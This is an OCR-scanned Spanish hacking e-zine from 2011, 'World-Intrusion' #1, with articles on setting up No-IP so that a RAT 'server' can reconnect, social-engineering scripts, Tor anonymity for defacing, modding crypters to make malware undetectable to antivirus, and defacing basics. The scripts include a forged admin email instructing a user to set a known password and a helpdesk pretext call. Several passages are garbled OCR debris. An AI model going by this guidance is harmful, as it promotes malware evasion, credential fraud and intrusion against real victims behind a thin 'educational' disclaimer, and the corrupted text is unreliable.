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World - Intrsuion: Esta E - Zine esta escrita por diferentes autores de las
comunidades MundoHacking[dotjcomy G intrud3rs[dot]jcom

http://www.mundohacking.com http://c - intrud3rs.com/comunidad

AN sl ingr—

Phishing, Pharming, Cracking, Seguridad... / 2 “"T—i “ t”" H 3”@

indice :

1 Introduccién

2 TutorialNo  -1IP

3 Conociendo a fondo la ingenieria  social
4 Anonimato

5 Conceptos Modding Malwares

6 Conceptos Defacing

7 Sql Injection Practico #1

8 Sql Injection Practico #2

9 Pentest desde 0 #1

10 Pentest desde 0 #2

11 Tus primeros pasos en P ython
12 Curso de C#

13 Despedida y Agradecimientos

No se asume ninguna responsabilidad debida al empleo de la informaciéon  aqui
contenida, puesto que esta revista solamente tiene fines educativos y en
ningln moranto pretendemos incitar a nadie a cometer ningun delito ya sea

informatico odeotra indole .

1: Introduccion

Primero que nada nos presentamos, SOmos Xpl0 Syst3m y RooT_Shell quienes
escribimos esta revista con fines educativos como ya lo habia dicho antes,
junto con mis comparneros de equipo: exploit - shell, DarkSpark, Vulcano,

Ztux, m3x1c0h4ck, tothox, K43l, Intruder, starGan, y algunos que mencionare
después :P.


http://www.mundohacking.com/
http://c-intrud3rs.com/comunidad
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2: Como Crear una Cuenta NO - IP_[staRgan]

OK pues todos conocen No - IP hablaremos sobre como crear cuentas y demas.

Conceptos Basicos a tener en Cuenta

¢Qué es una cuenta NO -IP...?

NQ IP permite identificar tu PC con un nombre de dominio facil de recordar,
como TuNombre.no- ip.com en lugar de con un nimero extrafio del tipo
192.168.1.236 y poder montar un servidor sin complicaciones
independientemente de si tenem 0S 0 no una IP estatica.

¢Para qué sirve una cuenta NO -IP...?

Bueno la cuenta NO - IP sirve para muchas cosas pero como nosotros aca avira
la necesitamos

para ocultar nuestra IP A Yy que nuestro Server una vez hecho vuelva a
conectar facilmente

por eso esrec omendable usar una cuenta NO - IP

Primero descargamos e instalamos el programa de No - 1P
http://www.no - ip.com/client/ducsetup.exe [Windows]

http://www.no - ip.com/client/linux/noip - duc- linux.tar.gz [Linux]
http://www.no - ip.com/client/mac/noip3.1.5.dmg [ MAC]

Entramos ala pagina oficial http://www.no - ip.com
Una vez adentro pulsamos donde dice Create Account

User Login



http://www.anonimosx.net/viewtopic.php?f=4&t=451#p1704
http://www.no-ip.com/client/ducsetup.exe
http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
http://www.no-ip.com/client/mac/noip3.1.5.dmg
http://www.no-ip.com/
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Cuando demos click en create account nos llevara a esta pagina :

@@ noip

No-IP is Free, Sign up Now!

Download Services Support Company

+ Create Your No-IP Account

If you already have an account then you can

i) About You:

First Name:

Last Name:

How did you hear about us?:
Zip/Postal Code:

Intended Use?:

?‘ Account Information:

Email:
Password:

Confirm Password:

.» Account Access:

Security Question:
Your Answer:

Birthday:

M Account Verification:

Can't read this?
o Get e
! Hear a set of

Powered by reCAPTCHA
Type the two words above:

(X Terms of Service:

Please review our Terms of Service (TOS) below. By creating an account you are agreeing to our TOS and
Privacy Policy. The TOS states you may only have one (1) free account, and that creation of multiple free accounts
will result in the termination of all of your accounts.

[V]1 agree that I will only create one free No-IP account.

Terms of Service
1. ACCEPTANCE OF TERMS

No-IP.com is an Internet-based Web site that offers DNS Hosting, dynamic DNS, URL Redirection, email
hosting, domain name registration, server monitoring, and software utilities (each a "Service” and
collectively "Services™ Vitalwerks Internet Salutions 11 C daina business as No-IP com

By clicking on 'l Accept’ below you are agreeing to the Terms of Service above and the Privacy
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Una vez ingresados nuestros datos pulsamos en " | accept. Create my account "
Ahora entramos a nuestro correo y verificamos que nos haya llegado un

correo de No - Ip lo abrimos y pulsamos en el link que viene después de " To
activate your account please click the following URL" , Y entonces ya

tendremos activa nuestra cuenta en no - ip.

Congratulations, the No-IP account 'stargan_wi@hotmail.com.ar' has been
created. To activate your account please click on the activation URL below.

No-IP's basic dynamic DNS service is free, made possible by our paid services.
If you are interested in dynamic DNS for your own domain please consider our
No-IP Plus service. For more information about our paid services visit
http://www.no-ip.com/services

To activate your account please click the following URL:
/S /www.no-ip.com/activate?lid=ec255bb3debe8d0c

Remember that you can use our dynamic update client to automatically update
your host when your dynamic IP address changes. You can download the client at
http://www.no-ip.com/downloads.php .

If you have any further questions, please refer to our FAQ at http://www.no-
ip.com/fag.php and guides section at http://www.no-ip.com/guides.php. If you
still have questions contact support by opening a trouble ticket at
http://www.no-ip.com/ticket/

Thank you for choosing No-IP.com

Una vez hecho esto nos loguemos enla pagina connuestroe -maily
contrasena.
Para crear nuestra Direccion/Host de no - ip, deberemos dar clic a add host:

StaRgan, welcome to your No-IP!

You have successfully logged into No-IP’'s member section. To start using No-IP’s services select an icon below or choose
an item from the navigation above.

@ @ & & &

Manage Domains Add Domain Refer Friend Add a Host Manage Hosts
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Cuando le demos clic nos aparecerd la siguiente ventana:

%@Add a host

Fill outthe following fields to configure your host. After you are done click ‘Create Host to add your host.

+ Own a domain name?
Use your own domain name with our DMNS system. Add your domain name now or read more for pricing and features.

Hostname Information
Hostname: | TutoWarldintrusion nao-ip.arg |Z| 2]

Host Type: @ DNS Host () © DNS Host (Round Robin) © DNS Alias (CNAME) 2]

@ Port 80 Redirect © Web Redirect

IP Address: 2@

Assign to Group: | - No Group - [=] [® Confiqure Groups a
Enable Wildcard: Wildcards are a Plus / Enhanced feature. Uparade MNow! 7]

+ Accept Mail for your Domain
Let Mo-IP do the dirty work. Setup POP or forwarding for your name.

Mail Options

MX Record MX Priority

Enter the name of your external mail exchangers (mx records) as hostnames not IP addresses.
5 |=] @

If you would like a more MX records, please upgrade to Mo-IP Plus or Enhanced.

m Create Host

Lo Unico que debemos rellenar en esta pantalla es:

Hostname: Escribiremos la direccion deseada junto al DNS. (Recomiendo no-
ip.org )
IP Address: Es detectada automaticamente por el sitio de No -IP y deberas

tener el Javascript activado en tu navegador.

Una vez terminado lo anterior le damos clic en Create Host
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Nos llevara a...:

\m Manage Hosts

Q Host TutoWorldintrusion.no-ip.org created. Update will be applied within 1 minute.

Current Hosts: 1 of 5 Need More Hosts? Enhance Your Account! Upgrade Now!

Host IP/JURL Action

@ Hosts By Domain

no-ip.org
tutoworldintrusion.no-ip.org (@ Modify € Remove
Esto nos comprueba que hemos realizado c orrectamente el procedimiento.
Bueno ahora por ultimo abrimos el No - IP DUC, damos clic en edit. e
ingresamo s nuestro correo y contrasena.
Unas ves ingresadas  nuestros datos correctamente nos aparec era la siguiente
pantalla: -

MNo-IP DUC v2.2.1

l Accaount used for updates: stargan_witdhatmail com. ar

To zubmit a bug/zuggestion pleaze click here and fill aut the farm.

Please check the hosts you want updated, checks take effect immediately.

Group
Hozt
[ @ tutoworldintruzion, no-ip.org

| Ipdating ta [P: MAT /Router/Proxy &

[wig 21:01] Checking Remate IP Address. -

[wie 21:01] Current IP address found, uzing for
updates.

[wig 21:23] Retrieving hostz, please wait.

[vie 21:23] Host retrieval complete. To addAremove hosts, click here.

[wie 21:23] Updating hozt: tutoworldintrusion. no-ip.org

[wig 21:23] @:}é'

I needed.

tutowarldintruzion. no-ipearg: DS is curent, no update L4

-
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Para activar el uso del host simplemente debemos activar la casilla
gue esta allado del mismo. Si todo sale bien nos aparecera asi:

Por ultimo hay que configurarlo para que funci

eso le damos clic en

Si tenemos Mdédem:

No-IP DUC v2.2.1 =

Account used for updates: stargan_withatmail. com. ar

To submit a bug/suggestion pleaze click here and fill out the form.

Pleaze check the hostz you want updated, checks take effect immediately.

[EroLp
Hiogt
@ tutowaridintruzion. ho-ip.arg

pdatinig to [P MAT /R outer/Proxy @

[wie 21:23] Retreving hiostz, pleaze wait.

[wig 21:23] Host retiieval complete. To add/remove hosts, click here.

[wie 21:23] Updating host: tutoworldintrusion. no-ip.org

[wie 21:23] tutoworldintrugion.no-ip.org: DS i current, no update
needed.

[wie 21:258] Updating host: butoworldintrusion. no-ip.org

[wie 21:28] é tutowaridintruzion. no-ip.org: DS iz current, no update L4
needed. e

Options --- >Connection

Las 2 Casillas deben estar marcadas asi:
Options @

Standard| Connection | Scheduling/Autodial | Dther |
Standard | Progy

Overide automatic connection detection

Use this option to select the adapter to use when connecting to the Mo-IP serverz. This
will alzo influence the IP detection feature. when this option is not in use, the client will
uze the default internet connection.

Adapter to uge to connect o NoP
Controladora de red NWIDIA nForce V]

Override automatic 1P detection
Only uze thiz option if wou need to overide the automatic [P detection because it iz not
functioning to your needs.  Try the above option first.

IF to post for updates
Controladara de red NVIDIA nForce -

‘when updating via NAT /Router/Prosy address OMLY, check for IP changes every 30
minutez. Use the slider below to change this if needed.

0

Ok l ’ Cancel

E- Zine #1

one correctamente para
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Si tenemos Router: Las 2 Casillas deben estar desmarcadas asi:
Cpticns - -
Standard | Connection | Scheduling/éutodial | Other |
Standard Prowmy |

[] Overide automatic connection detection

|lze thiz option to zelect the adapter o use when connecting to the Ho-P zervers. This

will alzo influence the P detection feature. ‘When thiz option is not in uze, the client wil

uze the default internet connection,

| Controladora de red MYIDA nForce

[] Overide automatic IP detection

Orly uge thiz option if you need to override the autaomatic IP detection because it iz not

functioning to your needs. Ty the above option first.

| Controladora de red MVIDLA nForce
When updating via MAT /Router/Prosy address OMLY, check for IP changes every 30
mirutes. Uze the shder below to change this If needed.
]
[ Ok l ’ Cancel
Y conesoya estd hecho nuestro dominio de no -ip y bueno amigos eso
es todo en este articulo y N0S vemos en la préoxima

starGan | World - Intrusién 2011
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3. Conociendo a fondo la Ingenieria Social [ RooT_Shell ]

En este tema hablaremos sobre la muy famosa y base fundamental de los
hackers, | atécnica que todos usan, incluso hackers famosos asi como Kevin
D. Mitnick, Steve Wozniak, etc.

Bueno como todos saben se debe practicar de una manera efectiva, segura, y

claro antes planear, escribir lo que se va a decir, ya sea personal, por

correo, me nsajeria, etc. Hay mil maneras de implementar la ingenieria

social, incluso se pone a prueba en técnicas como Phishing, Pharming,

Carding, Banking, Hasta robo de contrasefas claro que es posible, Bueno

pero en teoria ¢/qué es Ingenieria Social ? ¢, Como se debe implementar ? ¢ Y
cdmo se evita ?

Mas adelante pondré unos ejemplos de cOmo se implementa para que aprendan,
después ya queda cada quien su imaginacion, creatividad, ya que no es tan
dificil como parece OK

Un Poco de teoria

¢Qué es Ingenieria Social ?

R Bueno en la red encontraran demasiadas definiciones de la ingenieria
social, todas distintas pero que significan lo mismo, en fin solo tiene un
significado y yo les daré el mas certero:

La Ingenieria  social como ya dije es la base fundamental de un hack er, para
poder obtener datos o lo que le interesa por medio de una conversacion y de

persona. Es la forma de engafar al otro, envolverlo y hacerle creer que tu

eres alguien en quien confiar el técnico de la compairiia de teléfono tal vez

o cualquier otro que se haga pasar por alguien que sea de confianza

Bueno con esto ya quedo mas claro que el agua que es la ingenieria social,
ahora bien como se debe aplicar, correcto ahora veamos unos ejemplos para
envolver a los polluelos que le quieren sacar informacio n:

La practica:
Bueno ahora que sabemos lo principal veamos cdmo se puede aplicar y

basandonos en la definicion que puse al altimo, bueno imaginemos que un
usuario de una maquina recibe el siguiente correo electronico:

10
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De: Super - User <root@sistema.co m>
Destino: Usuario <user@sistema.com>
Asunto: Cambio de clave
Hola,
Para realizar una serie de pruebas orientadas a conseguir un optimo
funcionamiento de nuestro sistema, es necesario que cambie su clave mediante la
orden 'passwd'. Hasta que reciba un nue VO aviso (aproximadamente en una semana),
por favor, asigne a su contrasefia el valor 'PEPITO’ (en mayusculas).
Rogamos disculpe las molestias. Saludos,
ADMINISTRADOR

Si el usuario no sabe nada sobre seguridad, es muy probable que siga al pie

delale tralas indicaciones de este supuesto e- mail ; pero nadie le asegura
gue el correo no haya sido enviado por un atacante - es muy facil camuflar
el origen real de un mensaje, se ha visto que existen programas para mandar

e- mails andnimos bueno pero eso ya es otra cosa, Sin saberlo, y encima
pensando que lo hace por el bien comun, el usuario esta ayudando al pirata

a romper todo el esquema de seguridad de nuestra maquina.

Pero eso si, no siempre el atacante se aprovecha de la buena fe de los

usuarios paralo  grar sus propoésitos, nunca usa el atacante la misma técnica

para poder sacar datos tampoco es extrafio que intente engafar al propio
administrador del sistema. Por ejemplo, imaginemos que la maquina tiene el

puerto del  finger abierto que es el 79,y el atac ante detecta un nombre de
usuario que nunca se ha conectado al sistema en este caso, el atacante con

una simple llamada telefonica puede bastarle para conseguir el acceso aqui

miramos un ejemplo:

#Administrador: Buenos dias, aqui  area de sistemas, ¢en qué podemos
ayudarle?

Atacante: Hola, soy José Luis Pérez, llamaba porgque no consigo
recordar mi  password enla maquina sistema.upv.es

#Administrador: Un momento, me puede decir su nombre de usuario?
Atacante:  Si, claro, es jlp erez.

#Administrador: Muy bien, la nueva contrasefa que acabo de asignarle
es rudolf . Por favor, nada mas conectar, no olvide cambiarla.
Atacante: Por supuesto. Muchas gracias, ha sido muy amabile.

#Administrador: De nada, un saludo.

11
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Y bueno aqui ve mos lo facil que fue conseguir el acceso con una simple

llamada, claro a como queramos informacion, hay que planear una nueva

estrategia para aplicarla, yo por ejemplo un dia necesitaba saber el nombre

de la secretaria de un director de una empresa, entonc es un dia se me dio
la loca idea de llamar, y precisamente ella contesto, y con toda seguridad,

firmeza al hablar, seriedad, y con unas simples palabras le dije

YO: Hola Muy buenas tardes, habla la sefiorita Jazmin Carmona
Sefiuelo: No, Habla Teresa Leal, le puedo ayudar en algo
YO: No, Disculpe me equivoque al marcar el numero, Gracias

Y bueno como vimos fue muy sencillo saber cémo se llama la sefiorita jaja,

pero debo decirles que no todas dicen su nombre cuando uno se equivoca,
entonces ahi yaqueda alai maginacion de cada quien, si quieren cualquier
informacién, deben ingeniarselas para poder sacar dicha informacion.

Y bueno amigos eso fue todo en este articulo sobre ingenieria social,

espero que haiga sido mas claro y entendible, todo esto lo hago con fi nes
educativos, no me hago responsable del mal uso que le den a esta famosa

técnica. Bueno saludos nos vemos en otro articulo.

(i ntrud3rs

RooT_Shell | World- Intrusion 2011
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4: Anonimato [exploit - shell]

Hola a todos les habla exploit - shell nuevamente con ani mo de ensefarle a

los nuevos un poco o dar un una explicacion  sobre el anonimato en internet

0 pues en la red que es muy importante para que tu IP con que seriatu
direccion no quede por ahi en cualquier lugar ya sabemos que la IP consta
de 32 bits por lo que recuerdo estudios pasados.

Te recomiendo si vas a entrar o pues hacer un defacing con motivos porque

asi por asi es de lammery es mi opinibn  mi punto de vista ya que tu hallas
subido la shell y vas a entrar por ftp utiliza proxy ftp me he encontr ado
con gente que escanea puertos a un servidor con nmap o pues utilizan nessus

o0 u tilizan herramientas como havij, putty pero nunca lo configuran en la
conexién que utilize proxy y ojo porque cuando tu escaneasy Si no sabias
guedan logos en el servidor.

Bueno se siempre andnimo no quiero saber que te cayeron a tu casa y para la

carcel xD dependiendo de lo que hallas echo si hiciste  algo gordo ya me
hare entender.

Dime yo pienso que a los de anonymous son expertos pero son chicos jovenes

y saben lo nece sario mas no los conozco pero siempre cuando ellos atacan lo
hacen anonimo o no? O estoy mal?

Puedes configurar tu explorador Firefox para que utilic e proxy abrimos el
explorador vamos a editar preferencias le damos clic enavanzado después
configuracion  y vemos la pantalla y la configuramos.

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

Conexion

Configurar como Firefox se conecta a Internet L] Configuracion...

13
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Configuracion de conexion *x
Configurar proxies para el acceso a Internet
) Sin proxy
) Autodetectar configuracion del proxy para esta red
© Usar los datos de proxy del sistema
) Configuracion manual del proxy:
Proxy HTTP: Puerto: 0
Usar el mismo proxy para todo
Proxy SSL: Puerto: 0
Proxy FTP: Puerto: 0
Proxy gopher: Puerto: 0
Servidor SOCKS: Puerto: 0
SOCKS v4 SOCKS v5
MNo usar proxy para: ocalhost, 127.0.0.1
Ejemplo: .mozilla.org, .net.nz
() URL para la configuracién automatica del proxy:
Recargar
| i@ Ayuda | |@Cancelar| | «/ Aceptar |
User ------—--------—-- >servidor proxy  ---------------- >internet
User < ----------------- servidor proxy< — ---------------- internet

Con esta imagen comprenderemos un poco A

S Internet

= lntepet >

Client Client Client

E- Zine #1
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Bueno vamos al grano hay mucho curso manual tanto material en internet pues

les mostrare un método para que estés anonimo en tu firefox hablando con

k43l un amigo me dijo la mejor forma es tras de un proxy tras otro pues yo

le dije se es bu eno XD pero les mostrare un programa bueno que es tor pero

es facil utilizarlo en win32 pues te mostrare como instalarlo en Linux

i OAET O 11 OAAOUT pAOT OATci O1 AT AA Al pDPUOEIT
agregas el boton enable tor y listo vas a la sigui ente web wwwip -

adress .com Yy fin.
Bueno prim ero descarg as el code en el siguiente link:

http://www.mediafire.com/?89jalh3b9kpm99k

Vamos al terminal y hacemos lo siguiente

exploit-shell =S

Archivo Editar Ver Terminal Ayuda

exploit-shell@ubuntu:~% sudo -s -
[sudo] password for exploit-shell:

root@ubuntu:~# ls

Descargas Escritorio Imagenes Plantillas Videos
Documentos examples.desktop Muasica Publico

root@ubuntu:~# cd Escritorio

root@ubuntu:~/Escritorio# 1s

Pantallazo-1.png Pantallazo-3.png Untitled 1.odt
Pantallazo-2.png Pantallazo.png

root@ubuntu:~/Escritorio# sudo python tor.py]]

15
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Archivo Editar

S/security.
S/security.
J//security.
[f/security.
f/security.
f/security.

0bj
Ign
Ign
Ign
Ign
0bj
0bj
Des
0bj
0bj
0bj
0bj
0bj
0bj
0bj
0bj

Des:

Ign

Des:

Ign
Ign
Ign

Des:

B63%

http:
http:
http:
http:
http:
http:
http:
:1 http://es.archive.ubuntu.
f/security.
f/security.
f/security.
S/security.
S/security.
Jf/security.
f/security.
f/security.
2 http://deb.torproject.org karmic Release.gpg [489B]
http://deb.torproject.org karmic/main Translation-es

3 http://deb.torproject.org karmic Release [2226B]
http://deb.torproject.org karmic Release
http://deb.torproject.org karmic/main Packages
http://deb.torproject.org karmic/main Packages

4 http://deb.torproject.org karmic/main Packages [3891B]
[1 Translation-es 394275/622kB 63%]

http:
http:
http:
http:
http:
http:
http:
http:

Ver

Terminal

ubuntu.
ubuntu.
ubuntu.
ubuntu.
ubuntu.
ubuntu.

com
com
com
com
com
com

exploit-shell = | [=] [

Ayuda

karmic-security Release.gpg -
karmic-security/main Translation-es
karmic-security/restricted Translation-es
karmic-security/universe Translation-es
karmic-security/multiverse Translation-es
karmic-security Release

//es.archive.ubuntu.com karmic Release.gpg

ubuntu.
ubuntu.
ubuntu.
ubuntu.
ubuntu.
ubuntu.
ubuntu.
ubuntu.

com
com
com
com
com
com
com
com

com karmic/main Translation-es [622kB]
karmic-security/main Packages
karmic-security/restricted Packages
karmic-security/main Sources
karmic-security/restricted Sources
karmic-security/universe Packages
karmic-security/universe Sources
karmic-security/multiverse Packages
karmic-security/multiverse Sources

Necesito descargar 3130kB de archivos.
Se utilizaran 8323kB de espacio de disco adicional después de esta operacion.
!Desea continuar [S/n]? sl

AVISO: iNo se han podido autenticar los siguientes paquetes!
polipo tor tor-geoipdb
tInstalar estos paquetes sin verificacion [s/N]? sl

Listo si todo sali6 bien nos apar

ecera lo siguiente

exploit-shell o EnE=
Archivo Editar Ver Terminal Ayuda

May 15 19:25:88.207 [notice] Initialized libevent version 1.4.11-stable using me ~
thod epoll. Good.

May 15 19:25:08.207 [notice] Opening Socks listener on 127.0.8.1:9850

done.

Configurando socat (1.7.1.8-1) ...

Configurando tor-geoipdb (0.2.1.30-1~karmic+l) ...
Procesando disparadores para libc-bin ...
ldconfig deferred processing now taking place
---> apt-get install polipo
Leyendo lista de paguetes...
Creando arbol de dependencias
Leyendo la informacidn de estado... Hecho

polipo ya esté en su version mas reciente.

fijado polipo come instalado manualmente.

® actualizados, © se instalaran, @ para eliminar y 347 no actualizados.

---> Jetc/init.d/tor start

Raising maximum number of filedescriptors (ulimit -n) to 32768.

Starting tor daemen: tor...

done.

---> fetc/init.d/polipo restart H

Hecho

Restarting polipo: polipo.
---> Please add Tor Button to Firefox

33,5kB/s 6sfl -

E- Zine #1
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exploit-shell =N S

Archivo Editar Mer Terminal Ayuda

May 15 19:25:08.207 [notice] Initialized libevent version 1.4.11-stable using me ~
thod epoll. Good.

May 15 19:25:08.207 [notice] Opening Socks listener on 127.0.0.1:9858

done.

Configurando socat (1.7.1.8-1) ...

Configurando tor-geoipdb (0.2.1.38-1~karmic+1)

Procesando disparadores para libc-bin ...

ldconfig deferred processing now taking place

---> apt-get install polipo

Leyendo lista de paguetes... Hecho

Creando arbol de dependencias

Leyendo la informacidén de estado... Hecho

polipo ya estd en su versidn mas reciente.

fijado polipo como instalado manualmente.

0 actualizados, @ se instalaran, © para eliminar y 347 no actualizados.
---= fetc/init.d/tor start

Raising maximum number of filedescriptors (ulimit -n) to 32768.
Starting tor daemon: tor...

done.

---> fetc/init.d/polipo restart

Restarting polipo: polipo.

---> Please add Tor Button to Firefox

Se nos abrira el explorador con el siguiente link
Afadimos el addon

https://addons.mozilla.org/de/firefox/addon/torbutton/

Torbutton provides a button to securely and easily enable or disable the browser's use of Tor. It is
currently the only addon that will safely manage your Tor browsing to prevent IP address leakage.
cookie leakage, and general privacy attacks.

Instalacion de software

Instale complementos sélo de autores en los que confie.

El software malicioso puede dafar su ordenador o violar su privacidad.

Ha solicitado instalar el siguiente elemento:

Torbutton (autor no verificado)
https://addons.mozilla.org/firefox/downloads/latest/2275/addon-2275-latest. xpi?src

€ Cancelar nstalar (4)

E- Zine #1
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Listo después de lainst alacion reiniciamos el Firefox, n 0S aparecera
en la parte derecha de abajo lo siguiente

&4 Tor deshabilitado

Le damos clicy listo vamos a G oogle te aparecera diferente esta vez
me aparecié  http://www.go  ogle.cz/

& Tor habilitado

Colocamos en el buscador ip - adress te cargara y te aparecera esto hay
un 100% te a vos te aparezca diferente xD

D EENERE https:/www.ixquick.com/do/metasearch.pl?query=ip-adress

I yp-address.com - What is my IP address and lo
‘What is my IP? IP address finder, Speedtest and more. >

£ To se mi Iibf El 29544 uzivatelim se to libi. Prihlaseni a
prohlédnéte si, co se vasim prateldm libi.

An IP address (Internet Protocol Address) is a logical address of a network adapter.

The IP address is unique and identifies computers on a network.

My IP address is: 81.2.197.33

My IP Address Location: in ks Czech Republic
ISP of my IP: INTERNET CZ

= et e P AR Dz
Ceska Lipal % .
LS g s ¢ 02 internet na doma cz.c:
Boleglavy i @_ﬂfi AZ 25 Mb jen za 600 K& mésicné. Pofidte
f) )= Kralove si novy rychlejsi internet!
a s,
et e

~Pardubice
: L

;?rgny OKI*(-'an DNS Configuration Check nixusoftware.com/pr
gl Automate DNS Server Management &
B, e X Administration Routines! Free Trial
e . ©7 Brod eV
< .S 4 O Feink
et Jihlava “mi Reverse IP Lookup - Free ewhois.com
o Jindncniy Trebics 12 Lookup an IP address and find out
Téebon B ...~ @B domains using the same IP address

MahyGoog[E

IP Tracing - Email Trace - IP Whois - Reverse IP - Speedtest - My I[P and system - Join free

Ahora si no te traumo y te gusta manual pues bien lo desinstalas Abah
$ s udo apt - get purge tor

Listo est o fue todo por hoy espero que les haya gustado esto es mas que

todo para gente que inicia o pues quiere estudiar o leer y bueno nos vemos
en el siguiente articulo

exploit -shell | World- Intrusion 2011
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5. Conceptos Modding Malware [ Intruder |

Decidi pone rme a escribir sobre este tema, pensando en cémo describirlo
ante alguien que sabe poco y nada de él, y que ademas le sirva de empujon
final para aquellos que quieran entrar en este mundo.

Primero, ¢ Qe es el Modding?

La respuesta es el arte de modificar u n crypter, stub, server, etc., para
hacerlo indetectable a determinado antivirus o en su defecto a todos los
antivirus (FUD).

Para ello hay que partir de la base que quien se dedique a esto, debe ser
AAPAU AA OAO Al UOATT AT 1T A OAIl énlesto®RA qNOs NOE
Que partimos de la base que una vez terminado nuestro trabajo, el archivo

gue era detectado por cierta cantidad de avs ahora sera el mismo pero mas
evolucionado (y sin Avs que lo detectend).

Hay distintas técnicas, ya sea desde el source code, modificacion en Hex,
cambiar el valor de las offsets, usando compresores (hay quienes sostienen
gue el uso de compresores no es moddear :p).

#1 1 AT AAT T OA
Tengo un crypter que esta quemado y reconocido por muchos avs, sin embargo

guiero con ese crypter logra r convertir mi server (por ejemplo Cybergate)
en indetectable a los avs.

Existen distinto tipo de crypters, sacantime, runtime, los hay con stub
interno y con stub externo.

Cabe aclarar que el stub es lo que modificaremos para hacerlo indetectable.
Lastéec T EAAO AUOEAAO Oi1T Al 2AO0&E0AEAO2 bPiI O AEAIE
offsets con distintas combinaciones y chequeando que el archivo quede

funcional y a la vez indetectable, esto se consigue modificando las firmas
gue ponen los avs y por las cuales son detec tados como infectados.

Hoy por hoy los avs ponen varias firmas, con ello logran una gama mucho mas
amplia para la deteccion, por tal motivo, si hay mas de una firma, antes de
EAAAO 2A0EOAEAOe EAOAIT O 2AO0DPI EOet AOOI NOEAC
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hasta dete rminado offset para poder individualizar cada firma por separado
y poder hacerle avfucker.

También nos podemos encontrar la mala fortuna de no encontrar offsets in -
detectados funcionales, en ese caso emplearemos varias técnicas, sobre las

cuales no voy a explayarme en esta nota, pero algin ejemplo de ellas puede

OAO EAAAO eflskz AT 1T AET AAET T AOet 22) 42t AOAL
gran variedad de herramientas, tales como el OllyDebug, HexWorkshop,

LordPE, etc.

El tema es extenso y muy apasionante por lo cual los invito a averiguar mas
en detalle sobre él, y buscar tutoriales, los cuales estan por toda la red.

Una vez que tenemos una idea de cOmo proceder, nos encontramos con otra

traba, muchos avs dificiles tienen técnicas especificas para quitarlos,

pero como esta lleno de espias, la forma de acceder a esas técnicas es,

inventando una por medio del estudio y de pruebay error, o tener la

Al O0OO0T A AA NOA Alcil ATTACA 110 I A ZEAAEI EOAA
Ei DT OEAT At EAOOA NOA AT OOAB RO #ATL &ALl . 2#2)Y #EAAI
un nombre, posteando y compartiendo nuestro trabajo con los demas.

Se logra hacer muy buenos amigos en este ambito, pero es un camino largo y
dificil, plagado de desconfiados (entre los que me incluyo XD).

A medida que pasa el tiempo y nos vamos empapando mas del tema y

adquiriendo conocimientos, y sobre todo nos damos cuenta del dificil

trabajo y el tiempo que lleva moddear, empezamos a entender a los que tanto
AOEOEAUAAIT O AT OAOA

Por ejemplo mi caso personal era que odiaba el hecho de que pusieran

DAOOxT OAO AEAZaAAEI AO AA OAAAO PAOA 110 AOUDOAC
Ahora los entiendo jajajaja, de hecho me las ingenio para hacer dificil el

acceso a la pass, justamente para que el crypter dure mas (los avs

actualizan y lo vuelven detectable), y con eso también nos aseguramos que

ITT 11ACOA O 2PAOAAAEAEOOAe2 U AEANOGAA 1T OAOOOI
seria como enviarlo directamente a las oficinas de los Antivirus.

ResumiendoA

El que quiera o pretenda ser un modder debera buscar, ver, y volver aver
muchos tutoriales, luego practicar mucho, ya que de la practica salen
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nuevas técnicas y el conocer ciertas formas de encarar algun problema nos
agilizara el trabajo para la pr6xima mod.

Registrarse en un buen foro, consultar sobre los posts publicado sen

OAAAEI T AO OATAOG ATi1T 2i AT OATAG U OOOT OEAT Adet
tener alguna duda por mas que parezca tonta postearla, que seguro habra

alguien que nos eche una mano,

Evitar entrar el facilismo de que nos llegue todo de arriba, empezar a
crear nuestros propios métodos y utilizar y mezclar distintos métodos
aprendidos por tutoriales,

No abusar de los mensajes privados, insisto... postear en el foro publico,

gue las respuestas llegan mas rapido y no ponen en compromiso al

destinatario del mp, a t ener que darles una respuesta negativa a un pedido
de un método privado para sacar determinado AV.

Lo importante en esto es compatrtir el trabajo terminado, y postear nuestras
mods, no necesariamente tienen que ser FUD (indetectables a todos los Avs),

Comienzo a despedirme esperando haber llevado algo de luz en este tema a
guienes estén pensando en ingresar en este mundo fascinante.

Aclarando que este articulo dista mucho de ser un tutorial (que de ellos

esta llena la web, basta con usar google) y lo he enfo cado mas hacia una
nota que de un vistazo general e incentive a muchos de ustedes en volcarse

al modding.

Bueno amigos en este  capitulo  es todo nos vemos en el siguiente numero
espero les haya gustado

Saludos A

Intruder | World- Intrusion 2011
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6: Conceptos Defacing [ Vulcano |

DEFACE, QUE ES?

Deface es una palabra inglesa que significa desfiguracion y es un término

usado en informatica para hacer referencia a la deformacion o cambio

producido de manera intencionada en una pagina web p or un atacante que haya
obtenido algun tipo de acceso a ella, bien por algun error de programacion

de la pagina, por algin bug en el propio servidor o por una mala

administracion de este. El autor de un deface se denomina defacer.

DEFACER:

Un defacer es  un usuario de ordenador con conocimientos avanzados
caracterizado por usar puertas traseras, agujeros y bugs para acceder a los
servidores. Por lo general los defacers son ambiciosos cuando de sistemas

se trata, ya que no buscan agujeros en servidores pequ efios, sino por lo
generalenlosm asusadosolos m asimportantes.

PORQUE DEFACEAR UNA WEB?

Muchas empresas contratan el servicio de los defacers por lo cual, los

defacers pueden considerarse utiles en la red para mantener los servidores
actualizados ya que por lo general pasan horas investigando y encontrando
agujeros. Cuando un defacer encuentra un agujero en un servidor accede a

trav ésde élyloreporta ala lista de bugs encontrados, los

administradores de los servidores pueden hacer el respectivo pa rche o
reparaci On. Esto obliga a los administradores a mantener los servidores
actualizados, libre de fallas de seguridad, a hacer los servidores cada vez

Mas seguros y contribuye a los desarrolladores a mejorar el software.

Sin embargo, muchos defacers ( los que no son contratados xD) cuando logran
acceder a un servidor muchas veces lo destruye, sacando los datos,

elimin andolos, y usando el servidor para efectuar atagues a otros

servidores, o también son usados como proxies para navegar sin ser

detectados.

Otra cosa por lo cual los defacers realizan dicho acto, es por la simple
razon de protesta, ya sea por problemas en su pais u otras razones.

YA DEJADO EN CLARO ALGUNOS C# %04/ 3t 6! -/ 3 ! , )y -0/ 241
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INTRODUCCION AL DEFACE:

Las técnicas que se van a explicar:

1 XSS (Cross Site Scripting) y envenenando la cookie
THTML Injection 1y 2

1 SQL Injection

1 RFI (Remote File Inclusion)

XSS (Cross Site Scripting)

Bien, esta técnica se basa en el mal filtrado de codigo malicioso (html,
javascript) por el servido r Web (javascript se ejecuta en el browser y no
en el servidor) , la mayoria de la gente piensa que esta técnica no sirve

gue solo sirve para sacar ventanitas de alerta, FALSO !

Un ejemplo:

